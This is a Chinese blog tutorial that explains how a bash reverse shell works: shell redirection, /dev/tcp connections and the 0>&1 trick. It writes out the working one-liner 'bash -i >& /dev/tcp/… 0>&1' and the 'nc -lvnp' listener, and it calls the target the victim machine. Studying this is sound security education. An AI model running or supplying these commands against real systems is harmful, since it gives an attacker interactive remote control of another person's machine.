bashNC反弹

看之前建议先了解Linux重定向。

Linux、bash和shell的关系:

shell是一种解释器,将我们输入到命令行的命令解释给系统内核,而bash是shell的一种,Linux系统默认采用的shell就是bash。

bash -i深度理解:

一个常见的nc反弹命令:

bash -i >& /dev/tcp/192.168.52.155/8080 0>&1

bash -i 命令就行我们在命令行输入python一样,进入一个新的环境,比如:
当我们root用户的时候,exit会回到普通用户,然而当我们bash-i 以后,第一次exit会先退出 bash -i,第二次回到普通用户,

bashNC反弹

一般我们执行ls &>1.txt     ,结果不会显示在屏幕上而是存储进1.txt,但我们再次执行ls的时候,结果会在屏幕显示而不是导到1.txt。为什么?因为ls &>1.txt命令运行一结束重定向就被复原了,然而我们bash -i后使用的命令是在bash -i 构建的新环境下执行的,也就是说,bash -i >xxx所建立的环境中执行的命令都会遵循 > xxx 的重定向

bashNC反弹1

(值得注意的是,屏幕上显现的信息如

[root@bogon wuwukai]#任何输入

算是错误信息,会传到2那里,我现实输入了ls,[root@bogon wuwukai]# ls   被导入到d.txt而非显示在屏幕上,我再输入exit

[root@bogon wuwukai]# exit
exit

都被导入至d.txt)bashNC反弹2

对/dev/tcp/IP/端口 的重定向:

/dev/tcp/IP/端口    是一个不存在的文件,当对该文件进行重定向时,如果对应IP刚好在监听该端口,则会主动向该IP建立连接

bashNC反弹3

0>&1:

0>&1比较特殊,特殊在文件描述符0。不仅仅是将文件描述符0的输出导到1,同时也会先将远程输入提交给命令进行执行。也就是说0>&1先将远程输入提交给当前命令进行执行,然后再把结果提交到1指向的文件。

例如:

输入cat后回车,后面接收到的输入就只是当作字符串了,输入什么返回什么bashNC反弹4

当我们cat >&/dev/tcp/192.168.52.155/8080 ,不加0>&1的时候,远程输入并不会被传给cat执行bashNC反弹5

bashNC反弹6

加0>&1的时候,会将远程输入传给当前的命令进行执行,同时将结果传给1

bashNC反弹7

bashNC反弹8

详解bash命令NC反弹:

故而,

nc -lvnp 8080

bash -i >& /dev/tcp/192.168.52.155/8080 0>&1

首先对/dev/tcp/192.168.52.155/8080重定向,检测到192.168.52.155:8080开启,主动与其建立连接,并将受害者机器的标准输出1和错误输出2不在受害者机器显示,而是传给攻击机。

然后0>&1,此时攻击机的输入全会传给bash命令进行执行,然后将结果传给传给1,而1又传给了攻击机,故而此时完成交互,所有攻击机的输入都会被执行且全传给攻击机。

bashNC反弹9

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
大佬不来一句? 抢沙发

请登录后发表评论